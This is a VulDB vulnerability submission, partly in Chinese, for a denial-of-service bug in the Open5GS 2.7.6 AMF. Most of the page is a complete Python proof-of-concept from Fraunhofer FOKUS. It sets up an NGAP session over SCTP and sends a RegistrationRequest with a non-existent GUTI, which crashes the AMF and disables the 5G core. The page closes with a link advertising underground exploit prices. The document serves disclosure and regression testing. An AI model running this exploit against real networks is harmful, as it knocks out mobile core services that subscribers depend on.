提交 #805675: Open5GS v.2.7.6 Denial of Service信息

标题Open5GS v.2.7.6 Denial of Service
描述Reachable assertion in message.c:build_json allows remote Denial of Service of AMF When receiving an InitialUEMessage NGAP message whose NAS PDU contains a RegistrationRequest with a non-zero, non-existent GUTI as the 5GSID, the AMF crashes. This leads to a Denial of Service, since now the whole 5G core is not functional. This issue got fixed in version 2.7.7. Here is the proof-of-concept for regression testing: # Copyright 2026 Fraunhofer Gesellschaft, Munich, Germany, for # its Fraunhofer Institute for Open Communication Systems (FOKUS), # Berlin, Germany. All rights reserved. # https://www.fokus.fraunhofer.de/ # # Author: [email protected] """ Proof of Concept script for Open5GS AMF crash via GUTI in RegistrationRequest of InitialUEMessage """ from pycrate_asn1dir.NGAP import NGAP_PDU_Descriptions from pycrate_mobile.NAS import * from pycrate_mobile.TS24501_IE import FGSIDTYPE import _sctp from sctp import * import json import pprint from binascii import hexlify # Set to True to crash AMF due to PLMN != "000000" or AMFRegionID != 0 or AMFSetID != 0 DO_PLMN_CRASH = True DO_AMF_REGION_CRASH = False DO_AMF_SET_CRASH = False LOG_WIDTH = 130 class AMFCommunication: def __init__(self, addr, port, name): self.tcp = None self.addr = addr self.port = port self.name = name def connect(self): if self.tcp is not None: self.close() if _sctp.getconstant("IPPROTO_SCTP") != 132: raise(Exception("AMFCommunication: _sctp.getconstant failed")) tcp = sctpsocket_tcp(socket.AF_INET) tcp.initparams.max_instreams = 3 tcp.initparams.num_ostreams = 3 tcp.events.clear() tcp.events.data_io = 1 try: print(f"AMFCommunication: connect to {self.name} via SCTP at {self.addr}:{self.port}") tcp.connect( (self.addr, self.port) ) self.tcp = tcp except: raise(Exception(f"Connection error")) def close(self): if self.tcp is not None: self.tcp.close() self.tcp = None print(LOG_WIDTH*"=") print("AMFCommunication: closed") def log_data(self, info: str, data: object): if isinstance(data, str): print( f"{60*'-'} {info}: {data}") else: print( f"{60*'-'} {info}:") print( pprint.pformat( data, width=LOG_WIDTH ).replace("'",'"') ) def log_nas(self, msg: bytes): print(LOG_WIDTH*"=") print(f"NAS-PDU in hex: {hexlify(msg).decode().upper()}") data, err = parse_NAS5G(msg) if err == 0: data_dict = json.loads(data.to_json() ) self.log_data("NAS-PDU content", json.loads(data.to_json()) ) else: self.log_data(f"NAS Decode Error", f"{err}" ) def log_ngap(self, msg: bytes): log_pdu = NGAP_PDU_Descriptions.NGAP_PDU log_pdu.from_aper(msg) self.log_data("NGAP message content", log_pdu() ) def send_ngap(self, msg: bytes): print(LOG_WIDTH*"=") print(f"AMFCommunication: sending {len(msg)} bytes") self.log_ngap(msg) self.tcp.sctp_send( msg ) def recv_ngap(self) -> bytes: fromaddr, flags, msg_ret, notif = self.tcp.sctp_recv(1000) print(LOG_WIDTH*"=") print(f"AMFCommunication: received {len(msg_ret)} bytes, flags {flags}") if len(msg_ret) == 0: raise(Exception(f"{self.name} did not answer - Probably crashed")) self.log_ngap(msg_ret) return msg_ret def main(): try: amf_comm = AMFCommunication("127.0.0.5" , 38412, "AMF") amf_comm.connect() pdu = NGAP_PDU_Descriptions.NGAP_PDU try: ng_setuprequest = ("initiatingMessage", {"criticality": "reject", "procedureCode": 21, "value": ("NGSetupRequest", {"protocolIEs": [ {"criticality": "reject", "id": 27, "value": ("GlobalRANNodeID", ("globalN3IWF-ID", {"n3IWF-ID": ("n3IWF-ID", (1, 16)), "pLMNIdentity": b"\x99\xF9\x07"}))}, {"criticality": "ignore", "id": 82, "value": ("RANNodeName", "TestRan")}, {"criticality": "reject", "id": 102, "value": ("SupportedTAList", [ {"broadcastPLMNList": [ {"pLMNIdentity": b"\x99\xF9\x07", "tAISliceSupportList": [{"s-NSSAI": {"sST": b"\x01"}}]} ], "tAC": b"\x00\x00\x01"}])}, {"criticality": "ignore", "id": 21, "value": ("PagingDRX", "v256")} ]} ) } ) pdu.set_val(ng_setuprequest) msg_1 = pdu.to_aper() except Exception as ex: raise(Exception(f"NGSetupRequest encoding: {ex}")) # Send NGSetupRequest and receive NGSetupResponse amf_comm.send_ngap(msg_1) amf_comm.recv_ngap() # Create RegistrationRequest NAS-PDU for InitialUEMessage try: # Any PLMN value except 000000 or AMFRegionID<>0 or AMFSetID<>0 or will cause an AMF crash PLMN = "000001" if DO_PLMN_CRASH else "000000" REGION = 1 if DO_AMF_REGION_CRASH else 0 SETID = 1 if DO_AMF_SET_CRASH else 0 ies = { "UESecCap": {"5G-EA0": 1, "5G-EA1_128": 1, "5G-EA2_128": 1, "5G-EA3_128": 1, "5G-EA4": 0, "5G-EA5": 0, "5G-EA6": 0, "5G-EA7": 0, "5G-IA0": 0, "5G-IA1_128": 1, "5G-IA2_128": 1, "5G-IA3_128": 1, "5G-IA4": 0, "5G-IA5": 0, "5G-IA6": 0, "5G-IA7": 0 }, "5GSID" : {"ind": 15, "spare": 0, "Type": FGSIDTYPE.GUTI, "PLMN": PLMN, "AMFRegionID": REGION, "AMFSetID": SETID, "AMFPtr": 0, "5GTMSI": 0 } } nas_rr = FGMMRegistrationRequest(val=ies).to_bytes() amf_comm.log_nas(nas_rr) except Exception as ex: raise(Exception(f"FGMMRegistrationRequest encoding: {ex}")) try: initial_ue_message = ("initiatingMessage", {"criticality": "reject", "procedureCode": 15, "value": ("InitialUEMessage", {"protocolIEs": [ {"criticality": "reject", "id": 85, "value": ("RAN-UE-NGAP-ID", 26856)}, {"criticality": "reject", "id": 38, "value": ("NAS-PDU", nas_rr)}, {"criticality": "reject", "id": 121, "value": ("UserLocationInformation", ("userLocationInformationNR", {"nR-CGI": {"nRCellIdentity": (262145, 36), "pLMNIdentity": b"\x99\xF9\x07"}, "tAI": {"pLMNIdentity": b"\x99\xF9\x07", "tAC": b"\x00\x00\x01"}}))}, {"criticality": "ignore", "id": 90, "value": ("RRCEstablishmentCause", "mo-Signalling")} ]} ) } ) pdu.set_val(initial_ue_message) msg_2 = pdu.to_aper() except Exception as ex: raise(Exception(f"InitialUEMessage encoding: {ex}")) # Send InitialUEMEssage and receive DownlinkNASTransport if AMF did not crash amf_comm.send_ngap(msg_2) amf_comm.recv_ngap() amf_comm.close() print(LOG_WIDTH*"=") print("All done, no error") except Exception as ex: print(int(LOG_WIDTH/2.5)*"^") print(f" Caught EXCEPTION: {ex}") if __name__ == "__main__": main() This is the requirements.txt for python, which has to be installed before: abnf abnf-to-regexp exrex pycrate pysctp setuptools cryptography
来源⚠️ https://github.com/open5gs/open5gs/issues/4321
用户
 jungnickel (UID 94661)
提交2026-04-15 13時38分 (2 月前)
管理2026-05-01 13時50分 (16 days later)
状态已接受
VulDB条目360558 [Open5GS 直到 2.7.6 AMF src/amf/gmm-handler.c reg_type 拒绝服务]
积分20

Interested in the pricing of exploits?

See the underground prices here!